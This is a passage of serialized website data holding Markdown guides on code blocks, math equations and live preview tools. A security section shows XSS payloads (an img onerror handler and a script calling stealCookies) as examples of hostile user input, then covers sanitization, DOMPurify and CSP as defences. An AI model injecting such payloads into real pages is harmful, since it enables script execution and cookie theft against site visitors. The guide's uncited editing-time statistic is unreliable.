highlight",[1560,145851,1688],{"class":1570},[1560,145853,143],{"class":2219},[1560,145855,1459],{"class":1570},[1560,145857,145858],{"class":2219},"lang",[1560,145860,9345],{"class":1570},[1560,145862,145863,145865,145868,145870,145873,145876,145879,145881,145884,145886,145889],{"class":1562,"line":1747},[1560,145864,9385],{"class":1669},[1560,145866,145867],{"class":1576}," language",[1560,145869,8186],{"class":1669},[1560,145871,145872],{"class":1570}," hljs.",[1560,145874,145875],{"class":1566},"getLanguage",[1560,145877,145878],{"class":1570},"(lang) ",[1560,145880,33994],{"class":1669},[1560,145882,145883],{"class":1570}," lang ",[1560,145885,8037],{"class":1669},[1560,145887,145888],{"class":5634}," 'plaintext'",[1560,145890,2228],{"class":1570},[1560,145892,145893,145895,145897,145900],{"class":1562,"line":2507},[1560,145894,9434],{"class":1669},[1560,145896,145872],{"class":1570},[1560,145898,145899],{"class":1566},"highlight",[1560,145901,145902],{"class":1570},"(code, { language }).value;\n",[1560,145904,145905],{"class":1562,"line":2524},[1560,145906,4959],{"class":1570},[1560,145908,145909],{"class":1562,"line":2529},[1560,145910,6641],{"class":1570},[1560,145912,145913],{"class":1562,"line":2534},[1560,145914,1702],{"emptyLinePlaceholder":363},[1560,145916,145917,145919,145921,145923,145926,145928],{"class":1562,"line":2542},[1560,145918,8180],{"class":1669},[1560,145920,108795],{"class":1576},[1560,145922,8186],{"class":1669},[1560,145924,145925],{"class":1570}," marked.",[1560,145927,80838],{"class":1566},[1560,145929,145930],{"class":1570},"(markdown);\n",[1560,145932,145933],{"class":1562,"line":2558},[1560,145934,145935],{"class":1649},"\u002F\u002F Output already contains highlighted spans\n",[33,145937,145939],{"id":145938},"shiki-vs-code-themes","Shiki (VS Code Themes)",[16,145941,145942],{},"Shiki uses TextMate grammars for accurate highlighting with VS Code themes:",[135,145944,145946],{"className":1607,"code":145945,"language":1609,"meta":141,"style":141},"const shiki = require('shiki');\n\nconst highlighter = await shiki.getHighlighter({ theme: 'github-dark' });\nconst html = highlighter.codeToHtml(code, { lang: 'javascript' });\n\u002F\u002F Produces inline-styled spans — no CSS stylesheet needed\n",[143,145947,145948,145966,145970,145995,146017],{"__ignoreMap":141},[1560,145949,145950,145952,145955,145957,145959,145961,145964],{"class":1562,"line":1563},[1560,145951,8180],{"class":1669},[1560,145953,145954],{"class":1576}," shiki",[1560,145956,8186],{"class":1669},[1560,145958,20658],{"class":1566},[1560,145960,1688],{"class":1570},[1560,145962,145963],{"class":5634},"'shiki'",[1560,145965,1744],{"class":1570},[1560,145967,145968],{"class":1562,"line":337},[1560,145969,1702],{"emptyLinePlaceholder":363},[1560,145971,145972,145974,145977,145979,145981,145984,145987,145990,145993],{"class":1562,"line":343},[1560,145973,8180],{"class":1669},[1560,145975,145976],{"class":1576}," highlighter",[1560,145978,8186],{"class":1669},[1560,145980,28065],{"class":1669},[1560,145982,145983],{"class":1570}," shiki.",[1560,145985,145986],{"class":1566},"getHighlighter",[1560,145988,145989],{"class":1570},"({ theme: ",[1560,145991,145992],{"class":5634},"'github-dark'",[1560,145994,11630],{"class":1570},[1560,145996,145997,145999,146001,146003,146006,146009,146012,146015],{"class":1562,"line":365},[1560,145998,8180],{"class":1669},[1560,146000,108795],{"class":1576},[1560,146002,8186],{"class":1669},[1560,146004,146005],{"class":1570}," highlighter.",[1560,146007,146008],{"class":1566},"codeToHtml",[1560,146010,146011],{"class":1570},"(code, { lang: ",[1560,146013,146014],{"class":5634},"'javascript'",[1560,146016,11630],{"class":1570},[1560,146018,146019],{"class":1562,"line":889},[1560,146020,146021],{"class":1649},"\u002F\u002F Produces inline-styled spans — no CSS stylesheet needed\n",[11,146023,146025],{"id":146024},"common-problems","Common Problems",[33,146027,146029],{"id":146028},"code-blocks-inside-lists","Code Blocks Inside Lists",[16,146031,146032],{},"Fenced code blocks inside list items require the fence to be indented to the list item level:",[135,146034,146036],{"className":34628,"code":146035,"language":34630,"meta":141,"style":141},"1. Install the package:\n\n   ```bash\n   npm install my-package\n",[143,146037,146038,146043,146047,146052],{"__ignoreMap":141},[1560,146039,146040],{"class":1562,"line":1563},[1560,146041,146042],{},"1. Install the package:\n",[1560,146044,146045],{"class":1562,"line":337},[1560,146046,1702],{"emptyLinePlaceholder":363},[1560,146048,146049],{"class":1562,"line":343},[1560,146050,146051],{},"   ```bash\n",[1560,146053,146054],{"class":1562,"line":365},[1560,146055,146056],{},"   npm install my-package\n",[77,146058,146059],{"start":337},[44,146060,146061],{},"Import it:\n...",[135,146063,146066],{"className":146064,"code":146065,"language":140},[138],"\nThe fence must align with the list content indentation (3 spaces for numbered lists in CommonMark).\n\n### Empty Code Blocks\n\nAn empty fenced block renders as an empty `\u003Cpre>\u003Ccode>\u003C\u002Fcode>\u003C\u002Fpre>`. Some CSS frameworks give this zero height, making it invisible. Add `min-height` to `\u003Cpre>` as a safeguard.\n\n## Key Takeaways\n\n- Use fenced code blocks (triple backticks) instead of indented blocks\n- The info string after the fence becomes a `language-xxx` CSS class for syntax highlighting\n- HTML special characters in code blocks are escaped automatically by parsers\n- Escape `&` before `\u003C` and `>` when doing manual escaping\n- Choose between client-side (Highlight.js), build-time (marked-highlight), or inline-styled (Shiki) highlighting\n- Indent fenced blocks to match list item nesting when embedding code in lists\n\n## Try It Yourself\n\nConvert Markdown with code blocks to highlighted HTML instantly using our free [Markdown to HTML Converter](\u002Ftools\u002Fmarkdown-to-html). Paste any Markdown to see properly escaped and formatted output — all processing happens locally in your browser.\n\n[Try the Markdown to HTML Converter →](\u002Ftools\u002Fmarkdown-to-html)\n",[143,146067,146065],{"__ignoreMap":141},[2043,146069,146070],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":146072},[146073,146074,146078,146081,146084,146085,146090],{"id":145183,"depth":337,"text":145184},{"id":145193,"depth":337,"text":145194,"children":146075},[146076,146077],{"id":60968,"depth":343,"text":60969},{"id":145228,"depth":343,"text":145229},{"id":145307,"depth":337,"text":145308,"children":146079},[146080],{"id":145367,"depth":343,"text":145368},{"id":145400,"depth":337,"text":145401,"children":146082},[146083],{"id":145446,"depth":343,"text":145447},{"id":145462,"depth":337,"text":145463},{"id":145658,"depth":337,"text":145659,"children":146086},[146087,146088,146089],{"id":145662,"depth":343,"text":145663},{"id":145745,"depth":343,"text":145746},{"id":145938,"depth":343,"text":145939},{"id":146024,"depth":337,"text":146025,"children":146091},[146092],{"id":146028,"depth":343,"text":146029},"Master Markdown code block conversion to HTML. Learn fenced blocks, syntax highlighting, inline code, and escaping for reliable rendering.",{"immutable":363},"\u002Fguides\u002Fmarkdown-code-blocks",{"title":145178,"description":146093},"guides\u002Fmarkdown-code-blocks","6p-n-jdr915taG1I2JBjHXOGmcTV9h3QjiTjEhMoAeo",{"id":146100,"title":146101,"body":146102,"date":2070,"description":146564,"extension":361,"meta":146565,"navigation":363,"path":146566,"readingTime":1710,"seo":146567,"stem":146568,"__hash__":146569},"guides\u002Fguides\u002Fmarkdown-math-equations.md","Writing Math Equations in Markdown",{"type":8,"value":146103,"toc":146558},[146104,146111,146115,146118,146151,146175,146178,146182,146185,146310,146313,146348,146355,146388,146392,146395,146409,146419,146483,146486,146490,146493,146547,146550,146556],[16,146105,146106,146107,146110],{},"Writing mathematical equations in plain text has always been frustrating. You either settle for awkward approximations like ",[143,146108,146109],{},"x^2 + y^2 = r^2"," or embed screenshots of formulas. Markdown solves this by supporting LaTeX math notation through rendering engines like KaTeX and MathJax, letting you write beautiful equations that display cleanly in browsers, documentation sites, and note-taking apps.",[11,146112,146114],{"id":146113},"inline-and-display-math-syntax","Inline and Display Math Syntax",[16,146116,146117],{},"LaTeX math in Markdown uses two delimiter styles. Inline math wraps expressions in single dollar signs and renders within a paragraph, while display math uses double dollar signs and renders on its own centered line.",[135,146119,146121],{"className":34628,"code":146120,"language":34630,"meta":141,"style":141},"The quadratic formula is $x = \\frac{-b \\pm \\sqrt{b^2 - 4ac}}{2a}$, which\nsolves any quadratic equation $ax^2 + bx + c = 0$.\n\n$$\n\\int_{0}^{\\infty} e^{-x^2} \\, dx = \\frac{\\sqrt{\\pi}}{2}\n$$\n",[143,146122,146123,146128,146133,146137,146142,146147],{"__ignoreMap":141},[1560,146124,146125],{"class":1562,"line":1563},[1560,146126,146127],{},"The quadratic formula is $x = \\frac{-b \\pm \\sqrt{b^2 - 4ac}}{2a}$, which\n",[1560,146129,146130],{"class":1562,"line":337},[1560,146131,146132],{},"solves any quadratic equation $ax^2 + bx + c = 0$.\n",[1560,146134,146135],{"class":1562,"line":343},[1560,146136,1702],{"emptyLinePlaceholder":363},[1560,146138,146139],{"class":1562,"line":365},[1560,146140,146141],{},"$$\n",[1560,146143,146144],{"class":1562,"line":889},[1560,146145,146146],{},"\\int_{0}^{\\infty} e^{-x^2} \\, dx = \\frac{\\sqrt{\\pi}}{2}\n",[1560,146148,146149],{"class":1562,"line":1710},[1560,146150,146141],{},[16,146152,146153,146154,1856,146157,146160,146161,1856,146164,146167,146168,1856,146171,146174],{},"Some parsers also support ",[143,146155,146156],{},"\\(",[143,146158,146159],{},"\\)"," for inline math, and ",[143,146162,146163],{},"\\[",[143,146165,146166],{},"\\]"," for display math. If you are writing for GitHub, stick with dollar signs — GitHub Flavored Markdown only recognizes ",[143,146169,146170],{},"$...$",[143,146172,146173],{},"$$...$$"," delimiters since its native math support launched in 2022.",[16,146176,146177],{},"A common pitfall is escaping. Markdown processors sometimes interpret underscores inside math as emphasis italics. To avoid this, wrap your math blocks in backticks or use a renderer that processes math before other Markdown transformations.",[11,146179,146181],{"id":146180},"common-latex-math-commands","Common LaTeX Math Commands",[16,146183,146184],{},"The subset of LaTeX used in Markdown math is extensive but you will reach for the same commands repeatedly. Here is a practical reference for the most useful ones:",[193,146186,146187,146197],{},[196,146188,146189],{},[199,146190,146191,146193,146195],{},[202,146192,919],{},[202,146194,28715],{},[202,146196,754],{},[211,146198,146199,146212,146227,146240,146253,146265,146278,146297],{},[199,146200,146201,146204,146209],{},[216,146202,146203],{},"Fractions",[216,146205,146206],{},[143,146207,146208],{},"\\frac{a}{b}",[216,146210,146211],{},"a\u002Fb stacked",[199,146213,146214,146216,146224],{},[216,146215,127960],{},[216,146217,146218,1531,146221],{},[143,146219,146220],{},"\\sqrt{x}",[143,146222,146223],{},"\\sqrt[n]{x}",[216,146225,146226],{},"radical",[199,146228,146229,146232,146237],{},[216,146230,146231],{},"Superscript",[216,146233,146234],{},[143,146235,146236],{},"x^{2}",[216,146238,146239],{},"squared",[199,146241,146242,146245,146250],{},[216,146243,146244],{},"Subscript",[216,146246,146247],{},[143,146248,146249],{},"x_{i}",[216,146251,146252],{},"indexed",[199,146254,146255,146257,146262],{},[216,146256,127980],{},[216,146258,146259],{},[143,146260,146261],{},"\\sum_{i=0}^{n}",[216,146263,146264],{},"sigma notation",[199,146266,146267,146270,146275],{},[216,146268,146269],{},"Integral",[216,146271,146272],{},[143,146273,146274],{},"\\int_{a}^{b}",[216,146276,146277],{},"integral with bounds",[199,146279,146280,146283,146294],{},[216,146281,146282],{},"Greek letters",[216,146284,146285,1459,146288,1459,146291],{},[143,146286,146287],{},"\\alpha",[143,146289,146290],{},"\\beta",[143,146292,146293],{},"\\gamma",[216,146295,146296],{},"Greek symbols",[199,146298,146299,146302,146307],{},[216,146300,146301],{},"Matrix",[216,146303,146304],{},[143,146305,146306],{},"\\begin{pmatrix}...\\end{pmatrix}",[216,146308,146309],{},"matrix layout",[16,146311,146312],{},"Matrices deserve special attention because their syntax is verbose:",[135,146314,146318],{"className":146315,"code":146316,"language":146317,"meta":141,"style":141},"language-latex shiki shiki-themes github-light github-dark","$$\nA = \\begin{pmatrix}\na_{11} & a_{12} \\\\\na_{21} & a_{22}\n\\end{pmatrix}\n$$\n","latex",[143,146319,146320,146324,146329,146334,146339,146344],{"__ignoreMap":141},[1560,146321,146322],{"class":1562,"line":1563},[1560,146323,146141],{},[1560,146325,146326],{"class":1562,"line":337},[1560,146327,146328],{},"A = \\begin{pmatrix}\n",[1560,146330,146331],{"class":1562,"line":343},[1560,146332,146333],{},"a_{11} & a_{12} \\\\\n",[1560,146335,146336],{"class":1562,"line":365},[1560,146337,146338],{},"a_{21} & a_{22}\n",[1560,146340,146341],{"class":1562,"line":889},[1560,146342,146343],{},"\\end{pmatrix}\n",[1560,146345,146346],{"class":1562,"line":1710},[1560,146347,146141],{},[16,146349,146350,146351,146354],{},"For aligned equations spanning multiple lines, use the ",[143,146352,146353],{},"aligned"," environment inside display math:",[135,146356,146358],{"className":146315,"code":146357,"language":146317,"meta":141,"style":141},"$$\n\\begin{aligned}\nf(x) &= (x+1)^2 \\\\\n     &= x^2 + 2x + 1\n\\end{aligned}\n$$\n",[143,146359,146360,146364,146369,146374,146379,146384],{"__ignoreMap":141},[1560,146361,146362],{"class":1562,"line":1563},[1560,146363,146141],{},[1560,146365,146366],{"class":1562,"line":337},[1560,146367,146368],{},"\\begin{aligned}\n",[1560,146370,146371],{"class":1562,"line":343},[1560,146372,146373],{},"f(x) &= (x+1)^2 \\\\\n",[1560,146375,146376],{"class":1562,"line":365},[1560,146377,146378],{},"     &= x^2 + 2x + 1\n",[1560,146380,146381],{"class":1562,"line":889},[1560,146382,146383],{},"\\end{aligned}\n",[1560,146385,146386],{"class":1562,"line":1710},[1560,146387,146141],{},[11,146389,146391],{"id":146390},"katex-vs-mathjax-rendering","KaTeX vs MathJax Rendering",[16,146393,146394],{},"KaTeX and MathJax are the two dominant rendering engines, and they differ in meaningful ways.",[16,146396,146397,146398,1459,146401,146404,146405,146408],{},"KaTeX, developed by Khan Academy, prioritizes speed. It renders math server-side or client-side with no reflow, making it ideal for pages with many equations. However, KaTeX supports a smaller subset of LaTeX commands. Advanced features like ",[143,146399,146400],{},"\\cancel",[143,146402,146403],{},"\\phase",", and some ",[143,146406,146407],{},"tikz-cd"," diagrams are unsupported.",[16,146410,146411,146412,1459,146415,146418],{},"MathJax, the older and more complete engine, supports nearly the full LaTeX math vocabulary including ",[143,146413,146414],{},"\\require",[143,146416,146417],{},"\\newcommand",", and automatic equation numbering. The tradeoff is rendering speed — MathJax processes equations asynchronously, which can cause visible reflow on long documents.",[193,146420,146421,146433],{},[196,146422,146423],{},[199,146424,146425,146427,146430],{},[202,146426,5867],{},[202,146428,146429],{},"KaTeX",[202,146431,146432],{},"MathJax",[211,146434,146435,146444,146455,146464,146472],{},[199,146436,146437,146440,146442],{},[216,146438,146439],{},"Rendering speed",[216,146441,42858],{},[216,146443,15457],{},[199,146445,146446,146449,146452],{},[216,146447,146448],{},"LaTeX coverage",[216,146450,146451],{},"~90% of common commands",[216,146453,146454],{},"Near-complete",[199,146456,146457,146460,146462],{},[216,146458,146459],{},"Equation numbering",[216,146461,124118],{},[216,146463,109760],{},[199,146465,146466,146468,146470],{},[216,146467,118783],{},[216,146469,84689],{},[216,146471,84702],{},[199,146473,146474,146477,146480],{},[216,146475,146476],{},"Bundle size",[216,146478,146479],{},"~300 KB",[216,146481,146482],{},"~1 MB",[16,146484,146485],{},"For static documentation sites built with Hugo, Docusaurus, or Nuxt Content, KaTeX is usually the better choice. The faster renders and smaller bundle improve page load metrics, and the missing LaTeX features rarely matter for technical documentation. For academic papers or interactive textbooks where equation numbering and macros are essential, MathJax remains the right tool.",[11,146487,146489],{"id":146488},"setting-up-math-in-popular-platforms","Setting Up Math in Popular Platforms",[16,146491,146492],{},"Most modern platforms support math out of the box or with minimal configuration:",[41,146494,146495,146505,146515,146521,146534],{},[44,146496,146497,146499,146500,1856,146502,146504],{},[47,146498,98449],{},": Native ",[143,146501,146170],{},[143,146503,146173],{}," support in READMEs, issues, and discussions since 2022. Rendered with MathJax.",[44,146506,146507,146510,146511,146514],{},[47,146508,146509],{},"VS Code",": Install the Markdown Math extension for live preview of LaTeX math in ",[143,146512,146513],{},".md"," files.",[44,146516,146517,146520],{},[47,146518,146519],{},"Obsidian",": Built-in math rendering using MathJax. No plugins needed.",[44,146522,146523,146526,146527,1531,146530,146533],{},[47,146524,146525],{},"Hugo",": Add the ",[143,146528,146529],{},"katex",[143,146531,146532],{},"mathjax"," shortcode to your templates.",[44,146535,146536,146539,146540,1856,146543,146546],{},[47,146537,146538],{},"Docusaurus",": Enable the ",[143,146541,146542],{},"remark-math",[143,146544,146545],{},"rehype-katex"," plugins in your configuration.",[16,146548,146549],{},"When testing your math locally, use a Markdown preview tool that matches your production renderer. Syntax that works in Obsidian might render differently on GitHub if KaTeX and MathJax handle an edge case differently.",[16,146551,146552,146553,146555],{},"One reliable workflow is to compose and preview your Markdown with math in a dedicated editor like our Markdown preview tool, which renders equations in real time so you can catch delimiter errors before publishing. Try it at ",[98,146554,110365],{"href":110365}," to verify your LaTeX expressions render correctly across different contexts.",[2043,146557,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":146559},[146560,146561,146562,146563],{"id":146113,"depth":337,"text":146114},{"id":146180,"depth":337,"text":146181},{"id":146390,"depth":337,"text":146391},{"id":146488,"depth":337,"text":146489},"How to write LaTeX math expressions in Markdown documents with KaTeX and MathJax rendering.",{},"\u002Fguides\u002Fmarkdown-math-equations",{"title":146101,"description":146564},"guides\u002Fmarkdown-math-equations","NQMRKKA0ljh53gVDm93K5LLZBoI2L5x-WNhj6sbZUt8",{"id":146571,"title":146572,"body":146573,"date":2070,"description":147054,"extension":361,"meta":147055,"navigation":363,"path":110344,"readingTime":1710,"seo":147056,"stem":147057,"__hash__":147058},"guides\u002Fguides\u002Fmarkdown-preview-guide.md","Markdown Preview: Writing and Rendering Markdown in Real Time",{"type":8,"value":146574,"toc":147035},[146575,146579,146582,146585,146589,146592,146595,146621,146624,146628,146631,146700,146705,146710,146718,146722,146725,146729,146741,146745,146748,146771,146775,146778,146784,146787,146791,146794,146798,146801,146816,146819,146823,146886,146893,146905,146909,146912,146946,146949,146951,146954,146983,146986,146988,147008,147010,147025,147027,147033],[11,146576,146578],{"id":146577},"what-is-markdown-preview","What Is Markdown Preview?",[16,146580,146581],{},"Markdown preview renders your plain-text Markdown into formatted HTML as you type. Instead of writing markup and guessing the output, you see the final result immediately — headings, bold text, lists, tables, and code blocks all appear in real time.",[16,146583,146584],{},"This instant feedback loop makes Markdown preview essential for documentation, blog posts, READMEs, and any content you publish on the web.",[11,146586,146588],{"id":146587},"why-real-time-preview-matters","Why Real-Time Preview Matters",[16,146590,146591],{},"Writing without preview is like coding without running your program. You spot mistakes after the fact — a missing closing bracket, a broken table, an image that never loads.",[16,146593,146594],{},"Real-time preview eliminates that delay. Benefits include:",[41,146596,146597,146603,146609,146615],{},[44,146598,146599,146602],{},[47,146600,146601],{},"Faster writing cycles"," — fix formatting errors the moment they appear",[44,146604,146605,146608],{},[47,146606,146607],{},"Confidence in output"," — what you see is what your readers get",[44,146610,146611,146614],{},[47,146612,146613],{},"Easier learning"," — beginners connect syntax to results instantly",[44,146616,146617,146620],{},[47,146618,146619],{},"Fewer round trips"," — no need to save, build, and refresh",[16,146622,146623],{},"Studies on live-editing workflows show a 20–30% reduction in editing time compared to write-then-preview cycles.",[11,146625,146627],{"id":146626},"editors-with-preview-a-comparison","Editors With Preview: A Comparison",[16,146629,146630],{},"Different tools offer Markdown preview in different ways. Here is how the main options stack up:",[193,146632,146633,146645],{},[196,146634,146635],{},[199,146636,146637,146640,146643],{},[202,146638,146639],{},"Editor",[202,146641,146642],{},"Preview Type",[202,146644,489],{},[211,146646,146647,146658,146668,146679,146689],{},[199,146648,146649,146652,146655],{},[216,146650,146651],{},"Typora",[216,146653,146654],{},"Inline (WYSIWYG)",[216,146656,146657],{},"Long-form writing, notes",[199,146659,146660,146662,146665],{},[216,146661,146509],{},[216,146663,146664],{},"Side-by-side panel",[216,146666,146667],{},"Developer documentation",[199,146669,146670,146673,146676],{},[216,146671,146672],{},"Online tools",[216,146674,146675],{},"Split-pane live",[216,146677,146678],{},"Quick edits, sharing",[199,146680,146681,146683,146686],{},[216,146682,146519],{},[216,146684,146685],{},"Inline + sidebar",[216,146687,146688],{},"Knowledge bases, Zettelkasten",[199,146690,146691,146694,146697],{},[216,146692,146693],{},"HackMD \u002F StackEdit",[216,146695,146696],{},"Collaborative live",[216,146698,146699],{},"Team documents, meeting notes",[16,146701,146702,146704],{},[47,146703,146651],{}," replaces Markdown syntax with rendered output inline. It feels like a word processor — great for prose, less ideal when you need to see raw syntax.",[16,146706,146707,146709],{},[47,146708,146509],{}," offers a dedicated preview panel. You edit raw Markdown on the left and see rendered HTML on the right. Extensions like \"Markdown Preview Enhanced\" add math, diagrams, and custom CSS.",[16,146711,146712,146714,146715,146717],{},[47,146713,146672],{}," such as our ",[98,146716,110366],{"href":110365}," require zero setup. Open your browser, paste or type, and see the result instantly — perfect for quick checks and shared documents.",[11,146719,146721],{"id":146720},"how-markdown-becomes-html","How Markdown Becomes HTML",[16,146723,146724],{},"Understanding the rendering pipeline helps you debug unexpected output. The process has three stages:",[33,146726,146728],{"id":146727},"_1-parsing","1. Parsing",[16,146730,146731,146732,1459,146734,1877,146737,146740],{},"A Markdown parser (such as ",[143,146733,145763],{},[143,146735,146736],{},"remark",[143,146738,146739],{},"markdown-it",") reads your plain text and builds an abstract syntax tree (AST). Each node represents a structural element — heading, paragraph, code block, list item.",[33,146742,146744],{"id":146743},"_2-transformation","2. Transformation",[16,146746,146747],{},"The AST can be modified before rendering. Common transformations include:",[41,146749,146750,146756,146765],{},[44,146751,146752,146755],{},[47,146753,146754],{},"GFM extensions"," — tables, task lists, and strikethrough",[44,146757,146758,146761,146762,146764],{},[47,146759,146760],{},"Syntax highlighting"," — code blocks get ",[143,146763,126772],{}," tags with language-specific classes (via Prism.js or highlight.js)",[44,146766,146767,146770],{},[47,146768,146769],{},"Custom plugins"," — footnotes, math (KaTeX), and auto-generated heading IDs",[33,146772,146774],{"id":146773},"_3-rendering","3. Rendering",[16,146776,146777],{},"The AST converts to HTML strings. The browser then applies CSS to style the output — fonts, spacing, code themes, and responsive layouts all happen at this stage.",[135,146779,146782],{"className":146780,"code":146781,"language":140,"meta":141},[138],"Raw Markdown → Parser → AST → Plugins → HTML → Browser CSS → Rendered Page\n",[143,146783,146781],{"__ignoreMap":141},[16,146785,146786],{},"Each stage is a potential source of differences between editors. Two tools may parse the same file differently if they use different parser libraries or plugin configurations.",[11,146788,146790],{"id":146789},"safe-markdown-rendering","Safe Markdown Rendering",[16,146792,146793],{},"When you render Markdown from user input, security becomes critical. Raw Markdown can include HTML, and unfiltered HTML opens the door to cross-site scripting (XSS).",[33,146795,146797],{"id":146796},"the-xss-risk","The XSS Risk",[16,146799,146800],{},"A malicious user might submit:",[135,146802,146804],{"className":34628,"code":146803,"language":34630,"meta":141,"style":141},"\u003Cimg src=\"x\" onerror=\"alert('XSS')\">\n\u003Cscript> stealCookies() \u003C\u002Fscript>\n",[143,146805,146806,146811],{"__ignoreMap":141},[1560,146807,146808],{"class":1562,"line":1563},[1560,146809,146810],{},"\u003Cimg src=\"x\" onerror=\"alert('XSS')\">\n",[1560,146812,146813],{"class":1562,"line":337},[1560,146814,146815],{},"\u003Cscript> stealCookies() \u003C\u002Fscript>\n",[16,146817,146818],{},"Without sanitization, these scripts execute in every visitor's browser.",[33,146820,146822],{"id":146821},"defense-strategies","Defense Strategies",[193,146824,146825,146835],{},[196,146826,146827],{},[199,146828,146829,146831,146833],{},[202,146830,39330],{},[202,146832,31483],{},[202,146834,80936],{},[211,146836,146837,146853,146864,146875],{},[199,146838,146839,146842,146850],{},[216,146840,146841],{},"HTML sanitization",[216,146843,146844,146845,1459,146847,1525],{},"Strip dangerous tags and attributes (",[143,146846,34727],{},[143,146848,146849],{},"onerror",[216,146851,146852],{},"May remove legitimate HTML",[199,146854,146855,146858,146861],{},[216,146856,146857],{},"Sandboxed iframe",[216,146859,146860],{},"Render output in an isolated frame with no access to parent",[216,146862,146863],{},"Complex, limited styling control",[199,146865,146866,146869,146872],{},[216,146867,146868],{},"Allowlist parser",[216,146870,146871],{},"Only emit HTML from recognized Markdown syntax",[216,146873,146874],{},"Safest, but restricts flexibility",[199,146876,146877,146880,146883],{},[216,146878,146879],{},"CSP headers",[216,146881,146882],{},"Browser blocks inline scripts via Content-Security-Policy",[216,146884,146885],{},"Requires server configuration",[16,146887,146888,146889,146892],{},"For most applications, ",[47,146890,146891],{},"HTML sanitization with DOMPurify"," is the practical choice. It removes dangerous content while preserving safe HTML elements.",[16,146894,146895,146896,1459,146898,1459,146900,1466,146902,146904],{},"GFM takes the allowlist approach: it explicitly disallows ",[143,146897,34727],{},[143,146899,12666],{},[143,146901,41299],{},[143,146903,34730],{}," tags. This prevents XSS without a separate sanitization step — but only if you use a GFM-compliant parser.",[11,146906,146908],{"id":146907},"export-options","Export Options",[16,146910,146911],{},"Once your Markdown renders correctly, you likely need to share or publish it. Common export formats include:",[41,146913,146914,146919,146925,146934,146940],{},[44,146915,146916,146918],{},[47,146917,124621],{}," — paste into a CMS, email template, or static site",[44,146920,146921,146924],{},[47,146922,146923],{},"PDF"," — render to HTML first, then print or use a headless browser (Puppeteer, Playwright)",[44,146926,146927,146930,146931,146933],{},[47,146928,146929],{},"Markdown file"," — save the raw ",[143,146932,146513],{}," for version control and future editing",[44,146935,146936,146939],{},[47,146937,146938],{},"DOCX"," — convert via Pandoc for collaboration with non-technical teams",[44,146941,146942,146945],{},[47,146943,146944],{},"Slides"," — tools like Marp and Slidev turn Markdown into presentation decks",[16,146947,146948],{},"The HTML export path is the most universal. Every Markdown tool produces HTML as an intermediate step, so exporting clean HTML gives you maximum flexibility — style it with CSS, embed it in pages, or convert it further.",[11,146950,739],{"id":738},[16,146952,146953],{},"Your ideal Markdown preview setup depends on your workflow:",[41,146955,146956,146962,146968,146974],{},[44,146957,146958,146961],{},[47,146959,146960],{},"Solo writer focusing on long-form content"," — Typora or Obsidian for inline editing",[44,146963,146964,146967],{},[47,146965,146966],{},"Developer writing technical docs"," — VS Code with Markdown Preview Enhanced",[44,146969,146970,146973],{},[47,146971,146972],{},"Team collaborating on documents"," — HackMD or an online preview tool",[44,146975,146976,146979,146980,146982],{},[47,146977,146978],{},"Quick one-off checks"," — a browser-based tool like ",[98,146981,110366],{"href":110365}," needs no installation",[16,146984,146985],{},"Pick the tool that fits your current task. Many writers use two or three depending on the context.",[11,146987,1355],{"id":1354},[41,146989,146990,146993,146996,146999,147002,147005],{},[44,146991,146992],{},"Real-time preview speeds up writing by eliminating the save-render-check cycle",[44,146994,146995],{},"Different editors offer inline, side-by-side, or collaborative preview modes",[44,146997,146998],{},"The Markdown-to-HTML pipeline involves parsing, transformation, and rendering",[44,147000,147001],{},"Always sanitize Markdown output to prevent XSS — DOMPurify or GFM's allowlist approach works well",[44,147003,147004],{},"Export to HTML for maximum flexibility; convert to PDF or DOCX as needed",[44,147006,147007],{},"Choose your tool based on the task — no single editor fits every workflow",[11,147009,321],{"id":320},[41,147011,147012,147017,147021],{},[44,147013,147014],{},[98,147015,147016],{"href":110399},"GitHub Flavored Markdown",[44,147018,147019],{},[98,147020,110351],{"href":110350},[44,147022,147023],{},[98,147024,110357],{"href":110356},[11,147026,286],{"id":285},[16,147028,147029,147030,147032],{},"Ready to experience real-time Markdown preview? Open our free ",[98,147031,110366],{"href":110365}," tool — type or paste your Markdown and watch the rendered HTML appear instantly. No setup, no account, no 